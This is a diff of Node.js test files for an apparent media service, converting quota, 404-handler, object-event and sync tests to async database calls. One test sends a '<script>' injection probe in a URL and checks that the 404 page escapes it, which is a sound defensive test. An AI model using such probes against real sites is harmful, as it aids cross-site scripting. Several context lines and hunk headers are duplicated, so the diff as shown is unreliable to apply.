+ assert.deepStrictEqual([gone.lifecycle_status, JSON.parse(gone.metadata).failure, fs.existsSync(file), await namespaces.reservation(abandoned.id)],
+ ['failed', 'upload_expired', false, undefined]);
+ assert.ok(await namespaces.reservation(mp.id), 'the multipart upload keeps its reservation while its session is open');
+ r = await call('PUT', local(abandoned.upload.url), { bearer: null, raw: Buffer.from('abc') });
+ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.not_uploading'], 'an expired upload takes no more bytes');
- // v1 files count against the root's quotas, objects included.
- db.run("UPDATE media_namespaces SET quota_objects = 1 WHERE namespace = 'tiny'");
- const fd = new FormData();
- fd.append('file', new Blob([Buffer.from('v1 bytes')], { type: 'text/plain' }), 'x.txt');
- const f = await fetch(`${base}/api/v1/tiny/files`, { method: 'POST', headers: { authorization: 'Bearer tiny-key' }, body: fd });
- const fb = await f.json();
- assert.deepStrictEqual([f.status, fb.code, fb.namespace], [413, 'media.quota.objects_exceeded', 'tiny'], 'the v1 answer keeps its shape and says why');
- db.run("UPDATE media_namespaces SET quota_objects = NULL WHERE namespace = 'tiny'");
+ // v1 files count against the root's quotas, objects included.
+ await db.run("UPDATE media_namespaces SET quota_objects = 1 WHERE namespace = 'tiny'");
+ const fd = new FormData();
+ fd.append('file', new Blob([Buffer.from('v1 bytes')], { type: 'text/plain' }), 'x.txt');
+ const f = await fetch(`${base}/api/v1/tiny/files`, { method: 'POST', headers: { authorization: 'Bearer tiny-key' }, body: fd });
+ const fb = await f.json();
+ assert.deepStrictEqual([f.status, fb.code, fb.namespace], [413, 'media.quota.objects_exceeded', 'tiny'], 'the v1 answer keeps its shape and says why');
+ await db.run("UPDATE media_namespaces SET quota_objects = NULL WHERE namespace = 'tiny'");
- // Policy: kinds, visibilities and max_object_bytes, children inheriting and overriding.
- db.run(`UPDATE media_namespaces SET policy = '{"kinds":["file","asset"],"max_object_bytes":10}' WHERE namespace = 'tiny'`);
- db.run(`UPDATE media_namespaces SET policy = '{"visibilities":["private"],"max_object_bytes":0}' WHERE namespace = 'tiny.box'`);
- r = await call('POST', T, { bearer: 'tiny-key', body: { kind: 'vod' } });
- assert.deepStrictEqual([r.status, r.body.code], [422, 'media.namespace.policy_denied'], 'kinds');
- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 11 } });
- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'max_object_bytes');
- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 11, visibility: 'private' } });
- assert.strictEqual(r.status, 201, 'a child overrides max_object_bytes');
- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', kind: 'vod', visibility: 'private' } });
- assert.strictEqual(r.status, 422, 'and inherits kinds');
- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', visibility: 'public' } });
- assert.deepStrictEqual([r.status, r.body.code], [422, 'media.namespace.policy_denied'], 'visibilities');
- assert.ok(namespaces.validatePolicy({ kinds: ['file'], strict_verbs: true }).policy);
- assert.ok(namespaces.validatePolicy({ nope: 1 }).error && namespaces.validatePolicy({ kinds: ['x'] }).error && namespaces.validatePolicy({ max_object_bytes: -1 }).error);
+ // Policy: kinds, visibilities and max_object_bytes, children inheriting and overriding.
+ await db.run(`UPDATE media_namespaces SET policy = '{"kinds":["file","asset"],"max_object_bytes":10}' WHERE namespace = 'tiny'`);
+ await db.run(`UPDATE media_namespaces SET policy = '{"visibilities":["private"],"max_object_bytes":0}' WHERE namespace = 'tiny.box'`);
+ r = await call('POST', T, { bearer: 'tiny-key', body: { kind: 'vod' } });
+ assert.deepStrictEqual([r.status, r.body.code], [422, 'media.namespace.policy_denied'], 'kinds');
+ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 11 } });
+ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'max_object_bytes');
+ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 11, visibility: 'private' } });
+ assert.strictEqual(r.status, 201, 'a child overrides max_object_bytes');
+ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', kind: 'vod', visibility: 'private' } });
+ assert.strictEqual(r.status, 422, 'and inherits kinds');
+ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', visibility: 'public' } });
+ assert.deepStrictEqual([r.status, r.body.code], [422, 'media.namespace.policy_denied'], 'visibilities');
+ assert.ok(namespaces.validatePolicy({ kinds: ['file'], strict_verbs: true }).policy);
+ assert.ok(namespaces.validatePolicy({ nope: 1 }).error && namespaces.validatePolicy({ kinds: ['x'] }).error && namespaces.validatePolicy({ max_object_bytes: -1 }).error);
- // The snapshot follows the rows when reconciled.
- db.run("UPDATE media_namespaces SET used_bytes = 999 WHERE namespace = 'tiny'");
- assert.ok(namespaces.reconcileAll() >= 3);
- assert.strictEqual(namespaces.get('tiny').used_bytes, model.usedBytes('tiny') - namespaces.get('tiny').reserved_bytes, 'the root\'s snapshot is the tenant\'s usage');
- console.log('✅ quotas: per namespace and tenant, bytes and objects; reserved, re-reserved, settled, released, swept; policy enforced');
+ // The snapshot follows the rows when reconciled.
+ await db.run("UPDATE media_namespaces SET used_bytes = 999 WHERE namespace = 'tiny'");
+ assert.ok(await namespaces.reconcileAll() >= 3);
+ assert.strictEqual((await namespaces.get('tiny')).used_bytes, await model.usedBytes('tiny') - (await namespaces.get('tiny')).reserved_bytes, 'the root\'s snapshot is the tenant\'s usage');
+ console.log('✅ quotas: per namespace and tenant, bytes and objects; reserved, re-reserved, settled, released, swept; policy enforced');
- server.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('namespaces and grants: all checks passed');
+ server.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('namespaces and grants: all checks passed');
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -8,49 +8,51 @@ const fs = require('fs');
@@ -8,49 +8,51 @@ const fs = require('fs');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
const express = require('express');
const express = require('express');
-const { notFound, CSP } = require('../server/not-found');
+(async () => {
+ const { notFound, CSP } = require('../server/not-found');
-function send(base, p, method = 'GET') {
- return new Promise((resolve, reject) => {
- const req = http.request(base + p, { method, headers: { accept: 'text/html' } }, (res) => {
- let b = ''; res.on('data', (d) => { b += d; });
- res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body: b }));
+ function send(base, p, method = 'GET') {
+ return new Promise((resolve, reject) => {
+ const req = http.request(base + p, { method, headers: { accept: 'text/html' } }, (res) => {
+ let b = ''; res.on('data', (d) => { b += d; });
+ res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body: b }));
+ });
+ req.on('error', reject); req.end();
});
});
- req.on('error', reject); req.end();
- });
-}
+ }
-(async () => {
- const app = express();
- app.get('/known', (req, res) => res.send('ok'));
- app.use(notFound);
- const server = await new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });
- const base = `http://127.0.0.1:${server.address().port}`;
- try {
- assert.strictEqual(CSP, "default-src 'none'; script-src https://static.cloudflareinsights.com; connect-src https://cloudflareinsights.com");
- assert.strictEqual((await send(base, '/known')).status, 200);
+ (async () => {
+ const app = express();
+ app.get('/known', (req, res) => res.send('ok'));
+ app.use(notFound);
+ const server = await new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });
+ const base = `http://127.0.0.1:${server.address().port}`;
+ try {
+ assert.strictEqual(CSP, "default-src 'none'; script-src https://static.cloudflareinsights.com; connect-src https://cloudflareinsights.com");
+ assert.strictEqual((await send(base, '/known')).status, 200);
- const r = await send(base, '/__ovcheck-404');
- assert.strictEqual(r.status, 404);
- assert.strictEqual(r.headers['content-security-policy'], CSP);
- assert.strictEqual(r.headers['x-content-type-options'], 'nosniff');
- assert.match(r.headers['content-type'], /^text\/html/);
- assert.ok(r.body.includes('<pre>Cannot GET /__ovcheck-404</pre>'), r.body);
+ const r = await send(base, '/__ovcheck-404');
+ assert.strictEqual(r.status, 404);
+ assert.strictEqual(r.headers['content-security-policy'], CSP);
+ assert.strictEqual(r.headers['x-content-type-options'], 'nosniff');
+ assert.match(r.headers['content-type'], /^text\/html/);
+ assert.ok(r.body.includes('<pre>Cannot GET /__ovcheck-404</pre>'), r.body);
- const x = await send(base, '/x%3Cb%3E?q=<script>');
- assert.strictEqual(x.status, 404);
- assert.ok(!x.body.includes('<script>'), 'the path is escaped');
+ const x = await send(base, '/x%3Cb%3E?q=<script>');
+ assert.strictEqual(x.status, 404);
+ assert.ok(!x.body.includes('<script>'), 'the path is escaped');
- const post = await send(base, '/nope', 'POST');
- assert.ok(post.body.includes('<pre>Cannot POST /nope</pre>'));
- const head = await send(base, '/nope', 'HEAD');
- assert.deepStrictEqual([head.status, head.body], [404, '']);
+ const post = await send(base, '/nope', 'POST');
+ assert.ok(post.body.includes('<pre>Cannot POST /nope</pre>'));
+ const head = await send(base, '/nope', 'HEAD');
+ assert.deepStrictEqual([head.status, head.body], [404, '']);
- // index.js mounts it after every route and before the error handler.
- const idx = fs.readFileSync(path.join(__dirname, '..', 'server', 'index.js'), 'utf8');
- const at = idx.indexOf("app.use(require('./not-found').notFound)");
- assert.ok(at > idx.indexOf("app.use('/', require('./public/routes'))"), 'after the last routes');
- assert.ok(at < idx.indexOf('app.use((err, req, res, next) =>'), 'before the error handler');
- console.log('not-found: 404 under Media\'s CSP, Cloudflare Web Analytics allowed');
- } finally { server.close(); }
-})().catch((e) => { console.error(e); process.exit(1); });
+ // index.js mounts it after every route and before the error handler.
+ const idx = fs.readFileSync(path.join(__dirname, '..', 'server', 'index.js'), 'utf8');
+ const at = idx.indexOf("app.use(require('./not-found').notFound)");
+ assert.ok(at > idx.indexOf("app.use('/', require('./public/routes'))"), 'after the last routes');
+ assert.ok(at < idx.indexOf('app.use((err, req, res, next) =>'), 'before the error handler');
+ console.log('not-found: 404 under Media\'s CSP, Cloudflare Web Analytics allowed');
+ } finally { server.close(); }
+ })().catch((e) => { console.error(e); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -10,129 +10,131 @@ const os = require('os');
@@ -10,129 +10,131 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objevents-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
-});
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objevents-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
+ });
-const stub = http.createServer((req, res) => {
- req.resume();
- req.on('end', () => {
- res.setHeader('Content-Type', 'application/json');
- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
- res.statusCode = 503; res.end('{}'); // Events down: rows stay in the outbox for the test to read
+ const stub = http.createServer((req, res) => {
+ req.resume();
+ req.on('end', () => {
+ res.setHeader('Content-Type', 'application/json');
+ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
+ res.statusCode = 503; res.end('{}'); // Events down: rows stay in the outbox for the test to read
+ });
});
});
-});
-const ISO = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/;
-const DELETED_KEYS = ['app_id', 'deleted_at', 'kind', 'legacy_ref', 'object_id'];
-const VIS_KEYS = ['app_id', 'changed_at', 'kind', 'legacy_ref', 'object_id', 'previous_visibility', 'visibility'];
+ const ISO = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/;
+ const DELETED_KEYS = ['app_id', 'deleted_at', 'kind', 'legacy_ref', 'object_id'];
+ const VIS_KEYS = ['app_id', 'changed_at', 'kind', 'legacy_ref', 'object_id', 'previous_visibility', 'visibility'];
-(async () => {
- await new Promise((r) => stub.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${stub.address().port}`;
- const db = require('../server/db/database');
- const model = require('../server/objects/model');
- const events = require('../server/events');
- db.upsertApp({ app_id: 'live', api_key: 'live-key-objevents' });
- const sandbox = db.ensureProjectTenant('prj_01TESTOBJEVENTS000000000A', 'sandbox', 1024).app_id;
- const raw = db.getDb();
- const staged = () => raw.prepare('SELECT COUNT(*) AS n FROM media_object_changes').get().n;
+ (async () => {
+ await new Promise((r) => stub.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${stub.address().port}`;
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const events = require('../server/events');
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key-objevents' });
+ const sandbox = (await db.ensureProjectTenant('prj_01TESTOBJEVENTS000000000A', 'sandbox', 1024)).app_id;
+ const raw = db.getDb();
+ const staged = async () => (await raw.prepare('SELECT COUNT(*) AS n FROM media_object_changes').get()).n;
- // With the outbox off, changes wait staged (and the service drops them hourly).
- const v0 = Number(db.createVod({ app_id: 'live', title: 'before the outbox', file_path: path.join(tmp, 'none.mp4') }).lastInsertRowid);
- model.sync('vod', v0);
- db.setVodVisibility(v0, 'unlisted');
- assert.strictEqual(staged(), 1, 'staged by the trigger');
- assert.strictEqual(events.discardObjectChanges(), 1);
+ // With the outbox off, changes wait staged (and the service drops them hourly).
+ const v0 = Number((await db.createVod({ app_id: 'live', title: 'before the outbox', file_path: path.join(tmp, 'none.mp4') })).lastInsertRowid);
+ await model.sync('vod', v0);
+ await db.setVodVisibility(v0, 'unlisted');
+ assert.strictEqual(await staged(), 1, 'staged by the trigger');
+ assert.strictEqual(await events.discardObjectChanges(), 1);
- assert.ok(events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 3600000 }));
- const outbox = () => raw.prepare('SELECT envelope FROM event_outbox ORDER BY id').all().map((r) => JSON.parse(r.envelope));
- const objectEvents = () => outbox().filter((e) => e.event_type.startsWith('media.object.'));
+ assert.ok(events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 3600000 }));
+ const outbox = async () => (await raw.prepare('SELECT envelope FROM event_outbox ORDER BY id').all()).map((r) => (typeof r.envelope === 'string' ? JSON.parse(r.envelope) : r.envelope));
+ const objectEvents = async () => (await outbox()).filter((e) => e.event_type.startsWith('media.object.'));
- // ── 1. A visibility change through the v1 route's path (projection sync): one event, same transaction ──
- const vodId = Number(db.createVod({ app_id: 'live', user_id: 7, title: 'Secret title', file_path: path.join(tmp, 'v.mp4'), meta: { a: 1 } }).lastInsertRowid);
- model.sync('vod', vodId);
- const obj = model.getObject(db.get('SELECT object_id FROM vods WHERE id = ?', [vodId]).object_id);
- assert.strictEqual(objectEvents().length, 0, 'creating an object is not one of these events');
- db.setVodVisibility(vodId, 'private');
- let evs = objectEvents();
- assert.strictEqual(evs.length, 1);
- assert.strictEqual(staged(), 0, 'recorded in the sync transaction, nothing left staged');
- const e = evs[0];
- assert.strictEqual(e.event_type, 'media.object.visibility_changed');
- assert.deepStrictEqual(e.subject, { type: 'object', id: obj.id });
- assert.deepStrictEqual([e.source, e.visibility, e.priority, e.actor], ['media', 'internal', 'important', { type: 'service', id: 'media' }]);
- assert.deepStrictEqual(Object.keys(e.payload).sort(), VIS_KEYS, 'exactly the minimal payload');
- assert.deepStrictEqual([e.payload.object_id, e.payload.app_id, e.payload.kind, e.payload.legacy_ref, e.payload.visibility, e.payload.previous_visibility],
- [obj.id, 'live', 'vod', `legacy:live:vod:${vodId}`, 'private', 'public']);
- assert.ok(ISO.test(e.payload.changed_at));
- assert.ok(!JSON.stringify(e.payload).includes('Secret title') && !('owner_user_id' in e.payload), 'no tenant data');
- db.setVodVisibility(vodId, 'private');
- model.sync('vod', vodId);
- assert.strictEqual(objectEvents().length, 1, 'no event when nothing changed');
- console.log('✅ visibility change: one media.object.visibility_changed, minimal payload, committed with the change');
+ // ── 1. A visibility change through the v1 route's path (projection sync): one event, same transaction ──
+ const vodId = Number((await db.createVod({ app_id: 'live', user_id: 7, title: 'Secret title', file_path: path.join(tmp, 'v.mp4'), meta: { a: 1 } })).lastInsertRowid);
+ await model.sync('vod', vodId);
+ const obj = await model.getObject((await db.get('SELECT object_id FROM vods WHERE id = ?', [vodId])).object_id);
+ assert.strictEqual((await objectEvents()).length, 0, 'creating an object is not one of these events');
+ await db.setVodVisibility(vodId, 'private');
+ let evs = await objectEvents();
+ assert.strictEqual(evs.length, 1);
+ assert.strictEqual(await staged(), 0, 'recorded in the sync transaction, nothing left staged');
+ const e = evs[0];
+ assert.strictEqual(e.event_type, 'media.object.visibility_changed');
+ assert.deepStrictEqual(e.subject, { type: 'object', id: obj.id });
+ assert.deepStrictEqual([e.source, e.visibility, e.priority, e.actor], ['media', 'internal', 'important', { type: 'service', id: 'media' }]);
+ assert.deepStrictEqual(Object.keys(e.payload).sort(), VIS_KEYS, 'exactly the minimal payload');
+ assert.deepStrictEqual([e.payload.object_id, e.payload.app_id, e.payload.kind, e.payload.legacy_ref, e.payload.visibility, e.payload.previous_visibility],
+ [obj.id, 'live', 'vod', `legacy:live:vod:${vodId}`, 'private', 'public']);
+ assert.ok(ISO.test(e.payload.changed_at));
+ assert.ok(!JSON.stringify(e.payload).includes('Secret title') && !('owner_user_id' in e.payload), 'no tenant data');
+ await db.setVodVisibility(vodId, 'private');
+ await model.sync('vod', vodId);
+ assert.strictEqual((await objectEvents()).length, 1, 'no event when nothing changed');
+ console.log('✅ visibility change: one media.object.visibility_changed, minimal payload, committed with the change');
- // ── 2. A rolled-back change has no event ──
- assert.throws(() => raw.transaction(() => {
- raw.prepare("UPDATE media_objects SET visibility = 'public' WHERE id = ?").run(obj.id);
- events.recordObjectChanges();
- throw new Error('rollback');
- })(), /rollback/);
- assert.strictEqual(objectEvents().length, 1);
- assert.strictEqual(staged(), 0);
- assert.throws(() => events.recordObjectChanges(), /inside the transaction/);
- console.log('✅ a rolled-back change leaves neither an event nor a staged row');
+ // ── 2. A rolled-back change has no event ──
+ await assert.rejects(async () => await raw.tx(async () => {
+ await raw.prepare("UPDATE media_objects SET visibility = 'public' WHERE id = ?").run(obj.id);
+ await events.recordObjectChanges();
+ throw new Error('rollback');
+ }), /rollback/);
+ assert.strictEqual((await objectEvents()).length, 1);
+ assert.strictEqual(await staged(), 0);
+ await assert.rejects(async () => await events.recordObjectChanges(), /inside the transaction/);
+ console.log('✅ a rolled-back change leaves neither an event nor a staged row');
- // ── 3. A row deleted inside announce(): media.object.deleted in the same transaction ──
- const { announce } = require('../server/webhooks');
- announce('live', 'vod.failed', { change: () => db.run('DELETE FROM vods WHERE id = ?', [vodId]), payload: { id: vodId } });
- evs = objectEvents();
- assert.strictEqual(evs.length, 2);
- assert.strictEqual(evs[1].event_type, 'media.object.deleted');
- assert.deepStrictEqual(Object.keys(evs[1].payload).sort(), DELETED_KEYS);
- assert.deepStrictEqual([evs[1].payload.object_id, evs[1].payload.kind, evs[1].payload.legacy_ref], [obj.id, 'vod', `legacy:live:vod:${vodId}`]);
- assert.ok(ISO.test(evs[1].payload.deleted_at));
- const all = outbox();
- assert.strictEqual(all[all.length - 2].event_type, 'media.vod.failed', 'queued together with the outcome');
- console.log('✅ a vods row deleted in announce(): media.object.deleted with media.vod.failed, one transaction');
+ // ── 3. A row deleted inside announce(): media.object.deleted in the same transaction ──
+ const { announce } = require('../server/webhooks');
+ await announce('live', 'vod.failed', { change: async () => await db.run('DELETE FROM vods WHERE id = ?', [vodId]), payload: { id: vodId } });
+ evs = await objectEvents();
+ assert.strictEqual(evs.length, 2);
+ assert.strictEqual(evs[1].event_type, 'media.object.deleted');
+ assert.deepStrictEqual(Object.keys(evs[1].payload).sort(), DELETED_KEYS);
+ assert.deepStrictEqual([evs[1].payload.object_id, evs[1].payload.kind, evs[1].payload.legacy_ref], [obj.id, 'vod', `legacy:live:vod:${vodId}`]);
+ assert.ok(ISO.test(evs[1].payload.deleted_at));
+ const all = await outbox();
+ assert.strictEqual(all[all.length - 2].event_type, 'media.vod.failed', 'queued together with the outcome');
+ console.log('✅ a vods row deleted in announce(): media.object.deleted with media.vod.failed, one transaction');
- // ── 4. A native object soft-deleted through the v2 path ──
- const nativeId = model.createObject({ app_id: 'live', kind: 'file', visibility: 'unlisted', lifecycle_status: 'ready' });
- model.softDelete(model.getObject(nativeId), { by: 'test' });
- evs = objectEvents();
- assert.deepStrictEqual([evs[2].event_type, evs[2].payload.object_id, evs[2].payload.legacy_ref, evs[2].payload.kind], ['media.object.deleted', nativeId, null, 'file']);
- raw.prepare("UPDATE media_objects SET visibility = 'public' WHERE id = ?").run(nativeId);
- assert.strictEqual(staged(), 0, 'a deleted object\'s visibility is not an event');
- console.log('✅ soft delete of a native object: media.object.deleted');
+ // ── 4. A native object soft-deleted through the v2 path ──
+ const nativeId = await model.createObject({ app_id: 'live', kind: 'file', visibility: 'unlisted', lifecycle_status: 'ready' });
+ await model.softDelete(await model.getObject(nativeId), { by: 'test' });
+ evs = await objectEvents();
+ assert.deepStrictEqual([evs[2].event_type, evs[2].payload.object_id, evs[2].payload.legacy_ref, evs[2].payload.kind], ['media.object.deleted', nativeId, null, 'file']);
+ await raw.prepare("UPDATE media_objects SET visibility = 'public' WHERE id = ?").run(nativeId);
+ assert.strictEqual(await staged(), 0, 'a deleted object\'s visibility is not an event');
+ console.log('✅ soft delete of a native object: media.object.deleted');
- // ── 5. Any other path (a row deleted outside a transaction, operator SQL): staged, then drained ──
- const clipId = Number(db.createClip({ app_id: 'live', vod_id: null, title: 'c', file_path: path.join(tmp, 'c.webm') }).lastInsertRowid);
- const clipObj = db.get('SELECT object_id FROM clips WHERE id = ?', [clipId]).object_id;
- const before = objectEvents().length;
- db.run('DELETE FROM clips WHERE id = ?', [clipId]);
- assert.strictEqual(staged(), 1, 'the trigger staged it with the delete');
- assert.strictEqual(objectEvents().length, before);
- assert.strictEqual(events.drainObjectChanges(), 1);
- evs = objectEvents();
- assert.deepStrictEqual([evs[evs.length - 1].event_type, evs[evs.length - 1].payload.object_id, evs[evs.length - 1].payload.kind], ['media.object.deleted', clipObj, 'clip']);
- assert.strictEqual(staged(), 0);
- console.log('✅ a change made outside Media\'s transactions is staged by the trigger and drained into the outbox');
+ // ── 5. Any other path (a row deleted outside a transaction, operator SQL): staged, then drained ──
+ const clipId = Number((await db.createClip({ app_id: 'live', vod_id: null, title: 'c', file_path: path.join(tmp, 'c.webm') })).lastInsertRowid);
+ const clipObj = (await db.get('SELECT object_id FROM clips WHERE id = ?', [clipId])).object_id;
+ const before = (await objectEvents()).length;
+ await db.run('DELETE FROM clips WHERE id = ?', [clipId]);
+ assert.strictEqual(await staged(), 1, 'the trigger staged it with the delete');
+ assert.strictEqual((await objectEvents()).length, before);
+ assert.strictEqual(await events.drainObjectChanges(), 1);
+ evs = await objectEvents();
+ assert.deepStrictEqual([evs[evs.length - 1].event_type, evs[evs.length - 1].payload.object_id, evs[evs.length - 1].payload.kind], ['media.object.deleted', clipObj, 'clip']);
+ assert.strictEqual(await staged(), 0);
+ console.log('✅ a change made outside Media\'s transactions is staged by the trigger and drained into the outbox');
- // ── 6. Sandbox tenants produce no platform events ──
- const sb = model.createObject({ app_id: sandbox, kind: 'file', visibility: 'private', lifecycle_status: 'ready' });
- const n = objectEvents().length;
- raw.transaction(() => { raw.prepare("UPDATE media_objects SET visibility = 'unlisted' WHERE id = ?").run(sb); events.recordObjectChanges(); })();
- assert.strictEqual(objectEvents().length, n, 'none for a sandbox');
- assert.strictEqual(staged(), 0);
- console.log('✅ sandbox tenants: no events');
+ // ── 6. Sandbox tenants produce no platform events ──
+ const sb = await model.createObject({ app_id: sandbox, kind: 'file', visibility: 'private', lifecycle_status: 'ready' });
+ const n = (await objectEvents()).length;
+ await raw.tx(async () => { await raw.prepare("UPDATE media_objects SET visibility = 'unlisted' WHERE id = ?").run(sb); await events.recordObjectChanges(); });
+ assert.strictEqual((await objectEvents()).length, n, 'none for a sandbox');
+ assert.strictEqual(await staged(), 0);
+ console.log('✅ sandbox tenants: no events');
- events._reset();
- stub.close();
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('\n✅ All object event tests passed');
- process.exit(0);
+ events._reset();
+ stub.close();
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('\n✅ All object event tests passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -11,309 +11,316 @@ const os = require('os');
@@ -11,309 +11,316 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const { execFileSync } = require('child_process');
const express = require('express');
const express = require('express');
const sharp = require('sharp');
const sharp = require('sharp');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-object-first-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), MEDIA_PUBLIC_URL: 'https://media.test',
-});
-
-const db = require('../server/db/database');
-require('../server/views/service').ensureSchema();
-const model = require('../server/objects/model');
-const drift = require('../server/objects/drift');
-const tools = require('../server/vod/media-tools');
-const thumbService = require('../server/thumbnails/thumbnail-service');
-const cutter = require('../server/vod/clip-cutter');
-const vodStorage = require('../server/vod/vod-storage');
-const clipJobs = require('../server/vod/clip-jobs');
-const { finalizeVod } = require('../server/vod/finalize');
-
-db.upsertApp({ app_id: 'live', api_key: 'live-key-object-first' });
-const raw = db.getDb();
-const q = { all: (sql, p = []) => raw.prepare(sql).all(...p), get: (sql, p = []) => raw.prepare(sql).get(...p) };
-const count = (table) => raw.prepare(`SELECT COUNT(*) AS n FROM ${table}`).get().n;
-
-// No ffmpeg in these paths: the thumbnail generators and the probes answer as a real file would.
-thumbService.generateVodThumbnail = async () => null;
-thumbService.generateClipThumbnail = async () => null;
-tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 30, error: null });
-tools.probeDuration = async () => ({ ok: true, seconds: 30, format: {}, streams: [], error: null });
-tools.remuxForSeeking = async () => true;
-tools.probeVodInfo = async () => ({ duration: 12 });
-
-/** The row, and the object its object_id names; asserts the pair agrees on every field a sync writes. */
-function linked(table, keyCol, key, label) {
- const row = db.get(`SELECT * FROM ${table} WHERE ${keyCol} = ?`, [key]);
- assert.ok(row, `${label}: row exists`);
- assert.ok(row.object_id, `${label}: row names its object`);
- const obj = model.getObject(row.object_id);
- assert.ok(obj, `${label}: object exists right after the write`);
- const p = { vods: model.vodProjection, clips: model.clipProjection, files: model.fileProjection, pastes: model.pasteProjection }[table](row);
- const want = drift.expectedFields(p);
- for (const f of drift.FIELDS) assert.strictEqual(String(obj[f] ?? ''), String(want[f] ?? ''), `${label}: object ${f}`);
- return { row, obj };
-}
-const noDrift = (label) => {
- const r = drift.buildReport(q);
- assert.strictEqual(r.total_drift, 0, `${label}:\n${drift.formatReport(r)}`);
- return r;
-};
-
-const app = express();
-app.use(express.json({ limit: '5mb' }));
-app.use('/api/v1/:app/vods', require('../server/vod/routes'));
-app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
-app.use('/api/v1/:app/files', require('../server/files/routes'));
-app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));
-app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));
-const server = http.createServer(app);
-
(async () => {
(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}/api/v1/live`;
- const auth = { authorization: 'Bearer live-key-object-first' };
- const call = async (method, p, body) => {
- const headers = { ...auth };
- if (body && !(body instanceof FormData)) headers['content-type'] = 'application/json';
- const r = await fetch(base + p, { method, headers, body: body && !(body instanceof FormData) ? JSON.stringify(body) : body });
- return { status: r.status, body: await r.json().catch(() => null) };
- };
- const form = (field, bytes, type, name, extra = {}) => {
- const f = new FormData();
- for (const [k, v] of Object.entries(extra)) f.append(k, String(v));
- f.append(field, new Blob([bytes], { type }), name);
- return f;
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-object-first-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), MEDIA_PUBLIC_URL: 'https://media.test',
+ });
+
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const drift = require('../server/objects/drift');
+ const tools = require('../server/vod/media-tools');
